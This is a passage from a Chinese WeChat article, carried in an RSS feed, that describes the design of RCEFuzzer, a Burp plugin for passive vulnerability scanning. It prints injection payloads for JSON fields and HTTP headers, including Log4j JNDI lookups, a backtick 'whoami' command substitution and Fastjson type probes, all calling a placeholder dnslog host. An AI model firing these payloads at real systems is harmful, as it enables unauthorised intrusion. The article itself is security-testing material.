<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>赛博少女</title>
    <link>https://wechat2rss.xlab.app/feed/f17b52a78a32b532f0d7729e6cf7d94a669c1d53.xml</link>
    <description>我话不多，比较慢熟，人低调，向往自由。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (赛博少女)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM57RgmlbuOUZLI46nXLVOw7iclbvLVuNxP0Ol2TOHqU2Pw/0</url>
      <title>赛博少女</title>
      <link>https://wechat2rss.xlab.app/feed/f17b52a78a32b532f0d7729e6cf7d94a669c1d53.xml</link>
    </image>
    <item>
      <title>RCEFuzzer - 被动扫描与fuzz上一些思路的实现</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486853&amp;idx=1&amp;sn=61a25af1b8664beb93d01d7496cbd511</link>
      <description>写在前面1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。 2. 这个版本是以</description>
      <content:encoded><![CDATA[<p>
<span>thekingofduck</span> <span>2023-12-25 23:02</span> <span style="display: inline-block;">北京</span>
</p>

<p>写在前面1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。 2. 这个版本是以</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=112950b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgu1P7VjSnhzy3meT9icgW6aYzAMB1KORI6twhjUoePR8ATibyEEKzicGUgosbZShGhM8ghrahQSc0Ig%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 3px;border-color: rgb(143, 182, 249);background-color: rgb(241, 246, 255);"><section style="justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 22px;"><section style="justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;border-style: solid;border-width: 0px;min-width: 5%;height: auto;"><section style="text-align: center;" powered-by="xiumi.us"><section style="background-color: rgb(255, 202, 0);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="margin-top: 3px;margin-bottom: 3px;text-align: center;" powered-by="xiumi.us"><section style="color: rgb(101, 128, 175);"><p><strong>写在前面</strong></p></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="background-color: rgb(139, 219, 199);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;padding-left: 10px;align-self: flex-end;"><section style="text-align: center;line-height: 0;" powered-by="xiumi.us"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 0.5625px;height: auto;"><img data-imgfileid="100000621" data-ratio="1.112" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=77d6c5bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgu1P7VjSnhzy3meT9icgW6aibTXqHslAUKb5j0oU5HicricJkXkS6569KHq4swGauxoibjnDEhloQh4gw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。</span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;"> </span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">2. 这个版本是以 Burp 插件的形式存在，新版本是独立的系统，仅在 JJ Team 开放使用。</span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><br/></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">3. 仅开放 Release 版本作为交流学习使用， jar 没做混淆，实际上和放代码差别不大，作为交流学习使用我认为足够了，拿着源代码做细微调整意义不大，研究学习建议重构。 </span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><br/></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">4. 欢迎交流学习～</span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><br/></p></section><section style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: 28%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;"><section style="text-align: center;" powered-by="xiumi.us"><section style="background-color: rgb(139, 219, 199);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><section style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><section style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>01</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><section style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>工具地址</strong></p></section></section></section><section style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__attribute"><a href="https://github.com/TheKingOfDuck/RCEFuzzer" target="_blank">https://github.com/TheKingOfDuck/RCEFuzzer</a></span></span></code></pre></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><section style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><section style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>02</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><section style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>基础介绍</strong></p></section></section></section><section style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer 的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。</p><p style="text-wrap: wrap;">举个例子，假设被动收集到的流量是：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer">POST /sys/customer/<span class="code-snippet__built_in">list</span> HTTP/<span class="code-snippet__number">1.1</span></span></code><code><span class="code-snippet_outer">Host: www.baidu.com</span></code><code><span class="code-snippet_outer">Content-Length: <span class="code-snippet__number">23</span></span></code><code><span class="code-snippet_outer">Content-Type: application/json;charset=UTF<span class="code-snippet__number">-8</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;key1&#34;</span>:<span class="code-snippet__string">&#34;value1&#34;</span>,<span class="code-snippet__string">&#34;key2&#34;</span>:<span class="code-snippet__string">&#34;eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9&#34;</span>,<span class="code-snippet__string">&#34;id&#34;</span>:<span class="code-snippet__number">1</span>,<span class="code-snippet__string">&#34;isLogin&#34;</span>:<span class="code-snippet__literal">false</span>,<span class="code-snippet__string">&#34;key3&#34;</span>:{<span class="code-snippet__string">&#34;innerkey2&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;k3\&#34;:\&#34;v3\&#34;}&#34;</span>}}</span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">如果配置了三条通用的 payload ：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer">${jndi:ldap:<span class="code-snippet__comment">//dnslog/log4j}</span></span></code><code><span class="code-snippet_outer">`whoami`.dnslog</span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}</span></code></pre></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">那么 RCEFuzzer 的参数污染模块将对目标发起以下请求：</span></p><ul style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1" powered-by="xiumi.us"><li><p><span style="font-size: 15px;">污染 key1 的值然后分别发包</span></p></li><li><p><span style="font-size: 15px;">污染 key2 的值然后分别发包</span></p></li><li><p><span style="font-size: 15px;">尝试自动解码 key2 ，并污染子 JSON 的 innerkey1 的值然后分别发包</span></p></li><li><p><span style="font-size: 15px;">污染 key3 的值然后分别发包。</span></p></li><li><p><span style="font-size: 15px;">污染 key3 的子 JSON 的 innerkey2 的值，然后分别发包。</span></p></li><li><p><span style="font-size: 15px;">尝试解析 innerkey2 ，并污染子JSON的 k3 的值然后分别发包</span></p></li></ul><section powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">理论上总的请求量是 3*6=18 次。这仅是参数污染模块，如果带上其他模块，那请求量可能是 50 。如果 payload 写得多点，原流量大一点，那么可能是 5000 次。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">流量过大注定他没法在常规日站的场景使用，给目标写入一堆脏数据，那就得不偿失了。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">对自己日常自己跑起来要挖洞的系统，测试类环境的系统就无所谓。</span></p><p style="text-wrap: wrap;"><br/></p></section><section style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><section style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><section style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>03</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><section style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>资产去重</strong></p></section></section></section><section style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">上面提到流量会非常大，选出需要污染的流量就尤为重要，降低扫描基数，扫描流量也将大幅下降，那么在这个方向上我做了哪些尝试呢：重点参考</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><a href="https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/" target="_blank">https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/</a></span></code></pre></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">除最基本的静态资源去重外，这里面还提到了关于 urlpath 、 query 等的处理的思路，但是不够完全，细心一点的会发现上文中提到的流量：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{<span class="code-snippet__attr">&#34;key1&#34;</span>:<span class="code-snippet__string">&#34;value1&#34;</span>,<span class="code-snippet__attr">&#34;key2&#34;</span>:<span class="code-snippet__string">&#34;eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9&#34;</span>,<span class="code-snippet__attr">&#34;id&#34;</span>:<span class="code-snippet__number">1</span>,<span class="code-snippet__attr">&#34;isLogin&#34;</span>:<span class="code-snippet__literal">false</span>,<span class="code-snippet__attr">&#34;key3&#34;</span>:{<span class="code-snippet__attr">&#34;innerkey2&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;k3\&#34;:\&#34;v3\&#34;}&#34;</span>}}</span></code></pre></section><section powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">这里面的 id 和 isLogin 是没有污染的，因为大部分后端语言都会定义好参数类型，对于整数型、布尔型的参数没有太大污染的必要，徒增报错罢了，除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染，进一步缩减流量。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">这里需要单独再提一下，实践中有很多确认是重复的，比如：</span></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer">/order/S09834FVD</span></code><code><span class="code-snippet_outer">/order/S07C34FDCCVX</span></code></pre></section><section powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">显然两条流量对应了同一后端，是重复的，没必要都扫，但他没有像 uuid 或 md5 一样的固定特征，正则没法解决，看到一些同行的解决方案是上大模型去识别，颇有种工作饱和了没事干的感觉，本质上是区分文本是否为随机的，即将文本分为是否随机两种类型，业界有非常多成熟的文本分类模型训练教程，现成的模型，不用 GPU 就可以快速解决问题。</span></p><p style="text-wrap: wrap;"><br/></p></section><section style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><section style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><section style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>04</strong></p></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><section style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>扫描模块</strong></p></section></section></section><section style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">开放的版本中功能覆盖的有限，仅简单介绍一些思路。核心逻辑是递归追加/替换污染，对嵌套的 from-data 、json 、xml 、soap 等进行自动解码、污染、再编码。</p><p style="text-wrap: wrap;"><br/></p></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: top;overflow: hidden;height: 15px;width: 15px;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="font-size: 12px;text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><section style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>JSON 污染</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: top;overflow: hidden;height: 15px;width: 15px;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="font-size: 12px;text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">对 JSON 污染我个人理解分为以下两类：</p></section><section style="font-size: 15px;" powered-by="xiumi.us"><ol style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1"><li><p>键值污染：对于字符串类型的键值进行增加或替换的污染，除了污染成正常的资产 payload 之外，还可污染成 python 的结构体。</p></li><li><p>替换污染：对整个 JSON 进行替换，换成指定的 payload ，这里主要针对 FastJson 这样的漏洞。</p></li></ol></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">具体一点的例子：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:<span class="code-snippet__string">&#34;innervalue1&#34;</span>}</span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">可以污染成：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:__import__(<span class="code-snippet__string">&#39;socket&#39;</span>).gethostbyaddr(<span class="code-snippet__string">&#39;dnslog&#39;</span>)} </span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:<span class="code-snippet__string">&#34;${jndi:ldap://dnslog/jsonkey}&#34;</span>} </span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:<span class="code-snippet__string">&#34;innervalue1&#34;</span>,<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>} </span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:{<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}} </span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}</span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">几种漏洞类型都挺常见的。</p><p style="text-wrap: wrap;"><br/></p></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><section style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>header 污染</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">和JSON污染一样：</p></section><section style="font-size: 15px;" powered-by="xiumi.us"><ul style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1"><li><p>键值污染：对 header 键值进行增加或替换的污染。</p></li><li><p>替换污染：对所有 header 的键值污染成指定 payload 。</p></li></ul></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">举个例子：</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/</span> <span class="code-snippet__meta">HTTP/1.1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span><span class="code-snippet__punctuation">: </span>www.baidu.com</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span><span class="code-snippet__punctuation">: </span>gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span><span class="code-snippet__punctuation">: </span>*/*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span><span class="code-snippet__punctuation">: </span>en-US;q=0.9,en;q=0.8</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span><span class="code-snippet__punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span><span class="code-snippet__punctuation">: </span>close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span><span class="code-snippet__punctuation">: </span>max-age=0</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">可以污染成</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/</span> <span class="code-snippet__meta">HTTP/1.1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span><span class="code-snippet__punctuation">: </span>www.baidu.com</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span><span class="code-snippet__punctuation">: </span>gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span><span class="code-snippet__punctuation">: </span>*/*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span><span class="code-snippet__punctuation">: </span>en-US;q=0.9,en;q=0.8</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span><span class="code-snippet__punctuation">: </span>${jndi:ldap://dnslog/jsonkey}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span><span class="code-snippet__punctuation">: </span>close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span><span class="code-snippet__punctuation">: </span>max-age=0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">X-Forwarded-For</span><span class="code-snippet__punctuation">: </span>`whoami`.dnslog</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">X-Api-Version</span><span class="code-snippet__punctuation">: </span>${jndi:dns://dnslog/456}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">像 Host 、Connection 、Content-Type 这类 header 应该跳过污染，避免对请求本身造成影响，一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事，暴力出奇迹。</p><p style="text-wrap: wrap;"><br/></p></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><section style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>参数污染</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;"><section style="" powered-by="xiumi.us"><section style="display: inline-block;width: 15px;height: 15px;vertical-align: top;overflow: hidden;border-radius: 250px;background-color: rgb(194, 209, 255);"><section style="text-align: justify;font-size: 12px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section><section style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">JSON 场景下一般就嵌套下转义后或编码后的 JSON ，但 form-data 表单中有非常多出现嵌套其他类型数据的情况，比如参数中嵌套 JSON ，嵌套 XML ，从某些 OA 中能够看出研发为了兼容做的不少 🐂 事。</p><p style="text-wrap: wrap;">同样分为两种模式：</p></section><section style="font-size: 15px;" powered-by="xiumi.us"><ul style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1"><li><p>替换污染：常规的命令注入、SQL 